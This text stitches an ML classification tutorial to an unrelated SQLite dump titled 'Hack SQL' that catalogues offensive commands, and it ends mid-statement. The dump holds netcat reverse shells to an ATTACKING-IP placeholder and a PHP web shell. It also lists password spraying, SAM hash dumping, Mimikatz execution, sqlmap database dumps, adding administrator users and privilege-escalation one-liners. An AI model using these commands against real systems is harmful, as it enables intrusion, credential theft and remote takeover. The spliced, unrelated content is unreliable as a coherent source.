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sayantann11 / All Classification Templetes For MLClassification - Machine Learning This is ‘Classification’ tutorial which is a part of the Machine Learning course offered by Simplilearn. We will learn Classification algorithms, types of classification algorithms, support vector machines(SVM), Naive Bayes, Decision Tree and Random Forest Classifier in this tutorial. Objectives Let us look at some of the objectives covered under this section of Machine Learning tutorial. Define Classification and list its algorithms Describe Logistic Regression and Sigmoid Probability Explain K-Nearest Neighbors and KNN classification Understand Support Vector Machines, Polynomial Kernel, and Kernel Trick Analyze Kernel Support Vector Machines with an example Implement the Naïve Bayes Classifier Demonstrate Decision Tree Classifier Describe Random Forest Classifier Classification: Meaning Classification is a type of supervised learning. It specifies the class to which data elements belong to and is best used when the output has finite and discrete values. It predicts a class for an input variable as well. There are 2 types of Classification: Binomial Multi-Class Classification: Use Cases Some of the key areas where classification cases are being used: To find whether an email received is a spam or ham To identify customer segments To find if a bank loan is granted To identify if a kid will pass or fail in an examination Classification: Example Social media sentiment analysis has two potential outcomes, positive or negative, as displayed by the chart given below. https://www.simplilearn.com/ice9/free_resources_article_thumb/classification-example-machine-learning.JPG This chart shows the classification of the Iris flower dataset into its three sub-species indicated by codes 0, 1, and 2. https://www.simplilearn.com/ice9/free_resources_article_thumb/iris-flower-dataset-graph.JPG The test set dots represent the assignment of new test data points to one class or the other based on the trained classifier model. Types of Classification Algorithms Let’s have a quick look into the types of Classification Algorithm below. Linear Models Logistic Regression Support Vector Machines Nonlinear models K-nearest Neighbors (KNN) Kernel Support Vector Machines (SVM) Naïve Bayes Decision Tree Classification Random Forest Classification Logistic Regression: Meaning Let us understand the Logistic Regression model below. This refers to a regression model that is used for classification. This method is widely used for binary classification problems. It can also be extended to multi-class classification problems. Here, the dependent variable is categorical: y ϵ {0, 1} A binary dependent variable can have only two values, like 0 or 1, win or lose, pass or fail, healthy or sick, etc In this case, you model the probability distribution of output y as 1 or 0. This is called the sigmoid probability (σ). If σ(θ Tx) > 0.5, set y = 1, else set y = 0 Unlike Linear Regression (and its Normal Equation solution), there is no closed form solution for finding optimal weights of Logistic Regression. Instead, you must solve this with maximum likelihood estimation (a probability model to detect the maximum likelihood of something happening). It can be used to calculate the probability of a given outcome in a binary model, like the probability of being classified as sick or passing an exam. https://www.simplilearn.com/ice9/free_resources_article_thumb/logistic-regression-example-graph.JPG Sigmoid Probability The probability in the logistic regression is often represented by the Sigmoid function (also called the logistic function or the S-curve): https://www.simplilearn.com/ice9/free_resources_article_thumb/sigmoid-function-machine-learning.JPG In this equation, t represents data values * the number of hours studied and S(t) represents the probability of passing the exam. Assume sigmoid function: https://www.simplilearn.com/ice9/free_resources_article_thumb/sigmoid-probability-machine-learning.JPG g(z) tends toward 1 as z -> infinity , and g(z) tends toward 0 as z -> infinity K-nearest Neighbors (KNN) K-nearest Neighbors algorithm is used to assign a data point to clusters based on similarity measurement. It uses a supervised method for classification. The steps to writing a k-means algorithm are as given below: https://www.simplilearn.com/ice9/free_resources_article_thumb/knn-distribution-graph-machine-learning.JPG Choose the number of k and a distance metric. (k = 5 is common) Find k-nearest neighbors of the sample that you want to classify Assign the class label by majority vote. KNN Classification A new input point is classified in the category such that it has the most number of neighbors from that category. For example: https://www.simplilearn.com/ice9/free_resources_article_thumb/knn-classification-machine-learning.JPG Classify a patient as high risk or low risk. Mark email as spam or ham. Keen on learning about Classification Algorithms in Machine Learning? Click here! Support Vector Machine (SVM) Let us understand Support Vector Machine (SVM) in detail below. SVMs are classification algorithms used to assign data to various classes. They involve detecting hyperplanes which segregate data into classes. SVMs are very versatile and are also capable of performing linear or nonlinear classification, regression, and outlier detection. Once ideal hyperplanes are discovered, new data points can be easily classified. https://www.simplilearn.com/ice9/free_resources_article_thumb/support-vector-machines-graph-machine-learning.JPG The optimization objective is to find “maximum margin hyperplane” that is farthest from the closest points in the two classes (these points are called support vectors). In the given figure, the middle line represents the hyperplane. SVM Example Let’s look at this image below and have an idea about SVM in general. Hyperplanes with larger margins have lower generalization error. The positive and negative hyperplanes are represented by: https://www.simplilearn.com/ice9/free_resources_article_thumb/positive-negative-hyperplanes-machine-learning.JPG Classification of any new input sample xtest : If w0 + wTxtest > 1, the sample xtest is said to be in the class toward the right of the positive hyperplane. If w0 + wTxtest < -1, the sample xtest is said to be in the class toward the left of the negative hyperplane. When you subtract the two equations, you get: https://www.simplilearn.com/ice9/free_resources_article_thumb/equation-subtraction-machine-learning.JPG Length of vector w is (L2 norm length): https://www.simplilearn.com/ice9/free_resources_article_thumb/length-of-vector-machine-learning.JPG You normalize with the length of w to arrive at: https://www.simplilearn.com/ice9/free_resources_article_thumb/normalize-equation-machine-learning.JPG SVM: Hard Margin Classification Given below are some points to understand Hard Margin Classification. The left side of equation SVM-1 given above can be interpreted as the distance between the positive (+ve) and negative (-ve) hyperplanes; in other words, it is the margin that can be maximized. Hence the objective of the function is to maximize with the constraint that the samples are classified correctly, which is represented as : https://www.simplilearn.com/ice9/free_resources_article_thumb/hard-margin-classification-machine-learning.JPG This means that you are minimizing ‖w‖. This also means that all positive samples are on one side of the positive hyperplane and all negative samples are on the other side of the negative hyperplane. This can be written concisely as : https://www.simplilearn.com/ice9/free_resources_article_thumb/hard-margin-classification-formula.JPG Minimizing ‖w‖ is the same as minimizing. This figure is better as it is differentiable even at w = 0. The approach listed above is called “hard margin linear SVM classifier.” SVM: Soft Margin Classification Given below are some points to understand Soft Margin Classification. To allow for linear constraints to be relaxed for nonlinearly separable data, a slack variable is introduced. (i) measures how much ith instance is allowed to violate the margin. The slack variable is simply added to the linear constraints. https://www.simplilearn.com/ice9/free_resources_article_thumb/soft-margin-calculation-machine-learning.JPG Subject to the above constraints, the new objective to be minimized becomes: https://www.simplilearn.com/ice9/free_resources_article_thumb/soft-margin-calculation-formula.JPG You have two conflicting objectives now—minimizing slack variable to reduce margin violations and minimizing to increase the margin. The hyperparameter C allows us to define this trade-off. Large values of C correspond to larger error penalties (so smaller margins), whereas smaller values of C allow for higher misclassification errors and larger margins. https://www.simplilearn.com/ice9/free_resources_article_thumb/machine-learning-certification-video-preview.jpg SVM: Regularization The concept of C is the reverse of regularization. Higher C means lower regularization, which increases bias and lowers the variance (causing overfitting). https://www.simplilearn.com/ice9/free_resources_article_thumb/concept-of-c-graph-machine-learning.JPG IRIS Data Set The Iris dataset contains measurements of 150 IRIS flowers from three different species: Setosa Versicolor Viriginica Each row represents one sample. Flower measurements in centimeters are stored as columns. These are called features. IRIS Data Set: SVM Let’s train an SVM model using sci-kit-learn for the Iris dataset: https://www.simplilearn.com/ice9/free_resources_article_thumb/svm-model-graph-machine-learning.JPG Nonlinear SVM Classification There are two ways to solve nonlinear SVMs: by adding polynomial features by adding similarity features Polynomial features can be added to datasets; in some cases, this can create a linearly separable dataset. https://www.simplilearn.com/ice9/free_resources_article_thumb/nonlinear-classification-svm-machine-learning.JPG In the figure on the left, there is only 1 feature x1. This dataset is not linearly separable. If you add x2 = (x1)2 (figure on the right), the data becomes linearly separable. Polynomial Kernel In sci-kit-learn, one can use a Pipeline class for creating polynomial features. Classification results for the Moons dataset are shown in the figure. https://www.simplilearn.com/ice9/free_resources_article_thumb/polynomial-kernel-machine-learning.JPG Polynomial Kernel with Kernel Trick Let us look at the image below and understand Kernel Trick in detail. https://www.simplilearn.com/ice9/free_resources_article_thumb/polynomial-kernel-with-kernel-trick.JPG For large dimensional datasets, adding too many polynomial features can slow down the model. You can apply a kernel trick with the effect of polynomial features without actually adding them. The code is shown (SVC class) below trains an SVM classifier using a 3rd-degree polynomial kernel but with a kernel trick. https://www.simplilearn.com/ice9/free_resources_article_thumb/polynomial-kernel-equation-machine-learning.JPG The hyperparameter coefθ controls the influence of high-degree polynomials. Kernel SVM Let us understand in detail about Kernel SVM. Kernel SVMs are used for classification of nonlinear data. In the chart, nonlinear data is projected into a higher dimensional space via a mapping function where it becomes linearly separable. https://www.simplilearn.com/ice9/free_resources_article_thumb/kernel-svm-machine-learning.JPG In the higher dimension, a linear separating hyperplane can be derived and used for classification. A reverse projection of the higher dimension back to original feature space takes it back to nonlinear shape. As mentioned previously, SVMs can be kernelized to solve nonlinear classification problems. You can create a sample dataset for XOR gate (nonlinear problem) from NumPy. 100 samples will be assigned the class sample 1, and 100 samples will be assigned the class label -1. https://www.simplilearn.com/ice9/free_resources_article_thumb/kernel-svm-graph-machine-learning.JPG As you can see, this data is not linearly separable. https://www.simplilearn.com/ice9/free_resources_article_thumb/kernel-svm-non-separable.JPG You now use the kernel trick to classify XOR dataset created earlier. https://www.simplilearn.com/ice9/free_resources_article_thumb/kernel-svm-xor-machine-learning.JPG Naïve Bayes Classifier What is Naive Bayes Classifier? Have you ever wondered how your mail provider implements spam filtering or how online news channels perform news text classification or even how companies perform sentiment analysis of their audience on social media? All of this and more are done through a machine learning algorithm called Naive Bayes Classifier. Naive Bayes Named after Thomas Bayes from the 1700s who first coined this in the Western literature. Naive Bayes classifier works on the principle of conditional probability as given by the Bayes theorem. Advantages of Naive Bayes Classifier Listed below are six benefits of Naive Bayes Classifier. Very simple and easy to implement Needs less training data Handles both continuous and discrete data Highly scalable with the number of predictors and data points As it is fast, it can be used in real-time predictions Not sensitive to irrelevant features Bayes Theorem We will understand Bayes Theorem in detail from the points mentioned below. According to the Bayes model, the conditional probability P(Y|X) can be calculated as: P(Y|X) = P(X|Y)P(Y) / P(X) This means you have to estimate a very large number of P(X|Y) probabilities for a relatively small vector space X. For example, for a Boolean Y and 30 possible Boolean attributes in the X vector, you will have to estimate 3 billion probabilities P(X|Y). To make it practical, a Naïve Bayes classifier is used, which assumes conditional independence of P(X) to each other, with a given value of Y. This reduces the number of probability estimates to 2*30=60 in the above example. Naïve Bayes Classifier for SMS Spam Detection Consider a labeled SMS database having 5574 messages. It has messages as given below: https://www.simplilearn.com/ice9/free_resources_article_thumb/naive-bayes-spam-machine-learning.JPG Each message is marked as spam or ham in the data set. Let’s train a model with Naïve Bayes algorithm to detect spam from ham. The message lengths and their frequency (in the training dataset) are as shown below: https://www.simplilearn.com/ice9/free_resources_article_thumb/naive-bayes-spam-spam-detection.JPG Analyze the logic you use to train an algorithm to detect spam: Split each message into individual words/tokens (bag of words). Lemmatize the data (each word takes its base form, like “walking” or “walked” is replaced with “walk”). Convert data to vectors using scikit-learn module CountVectorizer. Run TFIDF to remove common words like “is,” “are,” “and.” Now apply scikit-learn module for Naïve Bayes MultinomialNB to get the Spam Detector. This spam detector can then be used to classify a random new message as spam or ham. Next, the accuracy of the spam detector is checked using the Confusion Matrix. For the SMS spam example above, the confusion matrix is shown on the right. Accuracy Rate = Correct / Total = (4827 + 592)/5574 = 97.21% Error Rate = Wrong / Total = (155 + 0)/5574 = 2.78% https://www.simplilearn.com/ice9/free_resources_article_thumb/confusion-matrix-machine-learning.JPG Although confusion Matrix is useful, some more precise metrics are provided by Precision and Recall. https://www.simplilearn.com/ice9/free_resources_article_thumb/precision-recall-matrix-machine-learning.JPG Precision refers to the accuracy of positive predictions. https://www.simplilearn.com/ice9/free_resources_article_thumb/precision-formula-machine-learning.JPG Recall refers to the ratio of positive instances that are correctly detected by the classifier (also known as True positive rate or TPR). https://www.simplilearn.com/ice9/free_resources_article_thumb/recall-formula-machine-learning.JPG Precision/Recall Trade-off To detect age-appropriate videos for kids, you need high precision (low recall) to ensure that only safe videos make the cut (even though a few safe videos may be left out). The high recall is needed (low precision is acceptable) in-store surveillance to catch shoplifters; a few false alarms are acceptable, but all shoplifters must be caught. Learn about Naive Bayes in detail. Click here! Decision Tree Classifier Some aspects of the Decision Tree Classifier mentioned below are. Decision Trees (DT) can be used both for classification and regression. The advantage of decision trees is that they require very little data preparation. They do not require feature scaling or centering at all. They are also the fundamental components of Random Forests, one of the most powerful ML algorithms. Unlike Random Forests and Neural Networks (which do black-box modeling), Decision Trees are white box models, which means that inner workings of these models are clearly understood. In the case of classification, the data is segregated based on a series of questions. Any new data point is assigned to the selected leaf node. https://www.simplilearn.com/ice9/free_resources_article_thumb/decision-tree-classifier-machine-learning.JPG Start at the tree root and split the data on the feature using the decision algorithm, resulting in the largest information gain (IG). This splitting procedure is then repeated in an iterative process at each child node until the leaves are pure. This means that the samples at each node belonging to the same class. In practice, you can set a limit on the depth of the tree to prevent overfitting. The purity is compromised here as the final leaves may still have some impurity. The figure shows the classification of the Iris dataset. https://www.simplilearn.com/ice9/free_resources_article_thumb/decision-tree-classifier-graph.JPG IRIS Decision Tree Let’s build a Decision Tree using scikit-learn for the Iris flower dataset and also visualize it using export_graphviz API. https://www.simplilearn.com/ice9/free_resources_article_thumb/iris-decision-tree-machine-learning.JPG The output of export_graphviz can be converted into png format: https://www.simplilearn.com/ice9/free_resources_article_thumb/iris-decision-tree-output.JPG Sample attribute stands for the number of training instances the node applies to. Value attribute stands for the number of training instances of each class the node applies to. Gini impurity measures the node’s impurity. A node is “pure” (gini=0) if all training instances it applies to belong to the same class. https://www.simplilearn.com/ice9/free_resources_article_thumb/impurity-formula-machine-learning.JPG For example, for Versicolor (green color node), the Gini is 1-(0/54)2 -(49/54)2 -(5/54) 2 ≈ 0.168 https://www.simplilearn.com/ice9/free_resources_article_thumb/iris-decision-tree-sample.JPG Decision Boundaries Let us learn to create decision boundaries below. For the first node (depth 0), the solid line splits the data (Iris-Setosa on left). Gini is 0 for Setosa node, so no further split is possible. The second node (depth 1) splits the data into Versicolor and Virginica. If max_depth were set as 3, a third split would happen (vertical dotted line). https://www.simplilearn.com/ice9/free_resources_article_thumb/decision-tree-boundaries.JPG For a sample with petal length 5 cm and petal width 1.5 cm, the tree traverses to depth 2 left node, so the probability predictions for this sample are 0% for Iris-Setosa (0/54), 90.7% for Iris-Versicolor (49/54), and 9.3% for Iris-Virginica (5/54) CART Training Algorithm Scikit-learn uses Classification and Regression Trees (CART) algorithm to train Decision Trees. CART algorithm: Split the data into two subsets using a single feature k and threshold tk (example, petal length < “2.45 cm”). This is done recursively for each node. k and tk are chosen such that they produce the purest subsets (weighted by their size). The objective is to minimize the cost function as given below: https://www.simplilearn.com/ice9/free_resources_article_thumb/cart-training-algorithm-machine-learning.JPG The algorithm stops executing if one of the following situations occurs: max_depth is reached No further splits are found for each node Other hyperparameters may be used to stop the tree: min_samples_split min_samples_leaf min_weight_fraction_leaf max_leaf_nodes Gini Impurity or Entropy Entropy is one more measure of impurity and can be used in place of Gini. https://www.simplilearn.com/ice9/free_resources_article_thumb/gini-impurity-entrophy.JPG It is a degree of uncertainty, and Information Gain is the reduction that occurs in entropy as one traverses down the tree. Entropy is zero for a DT node when the node contains instances of only one class. Entropy for depth 2 left node in the example given above is: https://www.simplilearn.com/ice9/free_resources_article_thumb/entrophy-for-depth-2.JPG Gini and Entropy both lead to similar trees. DT: Regularization The following figure shows two decision trees on the moons dataset. https://www.simplilearn.com/ice9/free_resources_article_thumb/dt-regularization-machine-learning.JPG The decision tree on the right is restricted by min_samples_leaf = 4. The model on the left is overfitting, while the model on the right generalizes better. Random Forest Classifier Let us have an understanding of Random Forest Classifier below. A random forest can be considered an ensemble of decision trees (Ensemble learning). Random Forest algorithm: Draw a random bootstrap sample of size n (randomly choose n samples from the training set). Grow a decision tree from the bootstrap sample. At each node, randomly select d features. Split the node using the feature that provides the best split according to the objective function, for instance by maximizing the information gain. Repeat the steps 1 to 2 k times. (k is the number of trees you want to create, using a subset of samples) Aggregate the prediction by each tree for a new data point to assign the class label by majority vote (pick the group selected by the most number of trees and assign new data point to that group). Random Forests are opaque, which means it is difficult to visualize their inner workings. https://www.simplilearn.com/ice9/free_resources_article_thumb/random-forest-classifier-graph.JPG However, the advantages outweigh their limitations since you do not have to worry about hyperparameters except k, which stands for the number of decision trees to be created from a subset of samples. RF is quite robust to noise from the individual decision trees. Hence, you need not prune individual decision trees. The larger the number of decision trees, the more accurate the Random Forest prediction is. (This, however, comes with higher computation cost). Key Takeaways Let us quickly run through what we have learned so far in this Classification tutorial. Classification algorithms are supervised learning methods to split data into classes. They can work on Linear Data as well as Nonlinear Data. Logistic Regression can classify data based on weighted parameters and sigmoid conversion to calculate the probability of classes. K-nearest Neighbors (KNN) algorithm uses similar features to classify data. Support Vector Machines (SVMs) classify data by detecting the maximum margin hyperplane between data classes. Naïve Bayes, a simplified Bayes Model, can help classify data using conditional probability models. Decision Trees are powerful classifiers and use tree splitting logic until pure or somewhat pure leaf node classes are attained. Random Forests apply Ensemble Learning to Decision Trees for more accurate classification predictions. Conclusion This completes ‘Classification’ tutorial. In the next tutorial, we will learn 'Unsupervised Learning with Clustering.'
Don-No7 / Hack SQL-- -- File generated with SQLiteStudio v3.2.1 on Sun Feb 7 14:58:28 2021 -- -- Text encoding used: System -- PRAGMA foreign_keys = off; BEGIN TRANSACTION; -- Table: Commands CREATE TABLE Commands (Command_No INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, Name TEXT REFERENCES Programs (Name) NOT NULL, Description TEXT NOT NULL, Command TEXT, File BLOB); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (1, 'Kerbrute', 'brute single user password', 'kerbrute bruteuers [flags]', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (2, 'Kerbrute', 'brute username:password combos from file or stdin', 'kerbrute brutforce [flags]', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (3, 'Kerbrute', 'test a single password agains a list of users', 'kerbrute passwordspray [flags]', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (4, 'Kerbrute', 'Enumerate valid domain usernames via kerberos', 'kerbrute userenum [flags]', NULL); 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INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (23, 'Hashcat', 'crack hashes with a wordlist', 'hashcat -m <hash type> -a 0 -o <output file> <hash file> <wordlist> --force', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (26, 'Enum4Linux', 'basic command', 'enum4linux -a <IP>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (27, 'SMBClient', 'connect to a SMB share', 'smbclinet //<IP>/<share> -U <username>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (28, 'Netcat', 'connect with shell (-e doest always work)', 'nc -e /bin/sh <ATTACKING-IP> 80', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (29, 'Netcat', 'connect with shell (-e doest always work)', '/bin/sh | nc ATTACKING-IP 80', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (30, 'Netcat', 'done on the target', 'rm -f /tmp/p; mknod /tmp/p p && nc ATTACKING-IP 4444 0/tmp/p', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (31, 'SQLMap', 'Check form for SQL injection', 'sqlmap -o -u "http://meh.com/form/" –forms', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (32, 'SQLMap', 'automated SQL scan', 'sqlmap -u <URL> --forms --batch --crawl=10 --cookie=jsessionid=54321 --level=5 --risk=3', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (33, 'CrackMapExec', 'run a mimikatz module', 'crackmapexec smb <target(s)> -u <username> -p <password> --local-auth -M mimikatz', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (34, 'CrackMapExec', 'Command execution', 'crackmapexec smb <target(s)> -u ''<username>'' -p ''<password>'' -x whoami', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (35, 'CrackMapExec', 'check logged in users', 'crackmapexec smb <target(s)> -u ''<username>'' -p ''<password>'' --lusers', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (36, 'CrackMapExec', 'dump local SAM hashes', 'crackmapexec <target(s)> -u ''<uesrname>'' -p ''<password>'' --local-auth --sam', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (37, 'CrackMapExec', 'null session login', 'crackmapexec smb <target(s)> -u '''' -p ''''', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (38, 'CrackMapExec', 'list modules', NULL, NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (39, 'CrackMapExec', 'pass the hash', NULL, NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (41, 'IKE-Scan', 'attack pre shared key with dictionary', 'psk-crack -d </path/to/dictionary> <psk file>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (42, 'IKE-Scan', 'If you find a SonicWALL VPN using agressive mode it will require a group id, the default group id is GroupVPN', 'ike-scan <IP> -A -id GroupVPN', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (43, 'IKE-Scan', 'to find aggressive mode VPNs and save for use with psk-crack', 'ike-scan <IP> -A -P<file out>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (44, 'John the Ripper', 'crack passwords with korelogic rules', 'for ruleset in `grep KoreLogicRules john.conf | cut -d: -f 2 | cut -d\] -f 1`; do ./john --rules:${ruleset} -w:<wordlist> <password_file> ; done', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (45, 'Nmap', 'create a list of ip addresses ', 'nmap -sL -n 192.168.1.1-100,102-254 | grep "report for" | cut -d " " -f 5 > ip_list_192.168.1.txt', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (46, 'Linux commands', 'mount NFS share on linux', 'mount -t nfs server:/share /mnt/point', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (47, 'PowerShell', 'create new user', 'net user <username> <password> /ADD', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (48, 'PowerShell', 'add user to a group (normaly Administrators)', 'net localgroup <group> <username> /ADD', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (49, 'PSK-Crack', 'brute force with specified length and specified chars (if left blank default is 36)', 'psk-crack -b <#> --charset="<charlist>" <key file>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (50, 'PSK-Crack', 'dictianary attack', 'psk-crack -d <file> <key file>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (51, 'SQLMap', 'check form for SQL injection', 'sqlmap -o -u "<url of form>" --forms', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (52, 'SQLMap', 'Scan url for union + error based injection with mysql backend and use a random user agent + database dump', 'sqlmap -u "<form URL>?id=1>" --dbms=mysql --tech=U --random-agent --dump ', NULL); -- Table: Exploits CREATE TABLE Exploits (Target TEXT, Type TEXT, Criteria TEXT, Method TEXT, Code TEXT, Result TEXT, Notes TEXT); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Website', 'Injection', 'ability to write to website folder', 'create or edit a mage of the website and insert the code to get remote access to the machine', '<? php system ($ _ GET [''cmd'']); ?>', 'execute code via url', '<URL of php>?cmd=<code to execue>'); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Linux', 'Priv Enum', 'shell', 'enter code into the shell to find vulnerbilities int he machine', 'find / -perm -u=s -type f 2>/dev/null', 'SUID binaries', 'link output to GTFO bins and exploit'); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Box', 'Priv Esc', 'Python binary running as root', 'generate a shell using python to grain root access', 'python3 -c "import pty;pty.spawn(''/bin/sh'');"', 'root shell', 'change pyton varibale acordingly'); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('SQL', 'Priv Esc', 'MySQL binary running as root', 'enter into MySQL command line and break out into root y using the code', 'mysql> \! /bin/sh', 'get shell from root priv SQL', NULL); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Linux', 'Priv Enum', 'low privilage shell', 'use the code to search for programs that run as sudo without password', 'sudo -l', NULL, 'list programs that can be used with sudo and no password'); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Windows', 'Priv Esc', 'Powershell', 'use code to enumerate priv esc opertunities', 'wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """', 'list of unquoted service paths that might be used for priv esc', NULL); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Website', 'LFI', NULL, NULL, NULL, NULL, NULL); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Linux', 'Priv Enum', NULL, 'use Linenum.sh to enumerate linux box', 'wget https://www.linenum.sh/ -P /dev/shm/Linenum.sh; chmod +x /dev/shm/linenum.sh ; ./dev/shm/Linenum.sh | tee /dev/shm/lininfo.txt', ' file, /dev/shm/lininfo.txt, with priv esc info', 'it is possible to use other methods of download like: curl or others found on google'); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Website', 'No-Auth', NULL, NULL, NULL, NULL, NULL); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Website', 'Re-Registration', NULL, NULL, NULL, NULL, NULL); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Website', 'JWT', 'a site that uses jSON as cookies', 'edit the information (with BURP) thats going to the website to gain access without authenitaction', NULL, NULL, NULL); -- Table: Programs CREATE TABLE Programs (Name text PRIMARY KEY NOT NULL UNIQUE, Stage TEXT, Description text, Info text, Features TEXT, Target TEXT, Offensive BOOLEAN, commands TEXT); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Nmap', 'Enum', 'Used for scanning a network/host to gather more information', 'man pages on linux', 'Scanning', 'All', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('BURP Suit', 'Enum, Exploit', 'A program for manipulating HTTP requests, enumeration and Exploit', 'https://portswigger.net/burp/documentation/contents', 'Brute', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Metasploit', 'All', 'Powerfull swiss-army-knife of hacking', 'https://docs.rapid7.com/metasploit/', NULL, 'All', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('MSFVenom', 'Exploit', 'Designed for creating payloads', 'https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom', 'Payloads', 'OS', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Snort', 'Utility', 'Packet sniffer', 'https://snort-org-site.s3.amazonaws.com/production/document_files/files/000/000/249/original/snort_manual.pdf?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIXACIED2SPMSC7GA%2F20210128%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20210128T192737Z&X-Amz-Expires=172800&X-Amz-SignedHeaders=host&X-Amz-Signature=4b51dc730677d14203c4a4cde25c1831ac64e9eca8df89c6737701811fa3f9fd', 'Sniffing', 'N/A', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('GoBuster', 'Enum', 'A fuzzer for websites', 'man pages on linux', 'Fuzzing', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Hydra', 'Exploit', 'Brutforcer for wesite passwords', 'man pages on linux', 'Brute', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Mimikatz', 'Post', 'Used to exploit kerberos', 'https://gist.github.com/insi2304/484a4e92941b437bad961fcacda82d49', NULL, 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Impacket', 'Exploit', 'The fascilitator of python bassed script that uses modules for attacking windows ', 'https://www.secureauth.com/labs-old/impacket/', NULL, 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Enum4Linux', 'Enum', 'for Enumerating Windows and Samba hosts', 'man pages included, https://tools.kali.org/information-gathering/enum4linux', 'Exploit Enum', 'Linux', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Rubeus', 'Exploit', 'Used for kerberos interaction and abuse', 'https://github.com/GhostPack/Rubeus', NULL, 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Kerbrute', 'Enum, Exploit', 'quickly enumerate and brutforce active directory accounts through kerberos pre-authentication', 'https://github.com/ropnop/kerbrute/', 'Brute', 'Windows', 'Y', 'y'); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('John the Ripper', 'Exploit', 'a password brutforcer', 'https://www.openwall.com/john/doc/', 'Brute', 'Hash', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Hashcat', 'Exploit', 'A password bruteforces', 'http://manpages.org/hashcat', 'Brute', 'Hash', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Bloodhound', 'Enum', 'Network mapping tool', 'https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-with-bloodhound-on-kali-linux', NULL, 'N/A', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Wireshark', 'Utility', 'Packet sniffer', 'https://www.wireshark.org/download/docs/user-guide.pdf', 'Sniffing', 'N/A', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Hash-Identifier', 'Utility', '(superseeded by Name-That-Hash)A simple python program for identifying hashes', 'man pages on linux', NULL, 'Hash', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, 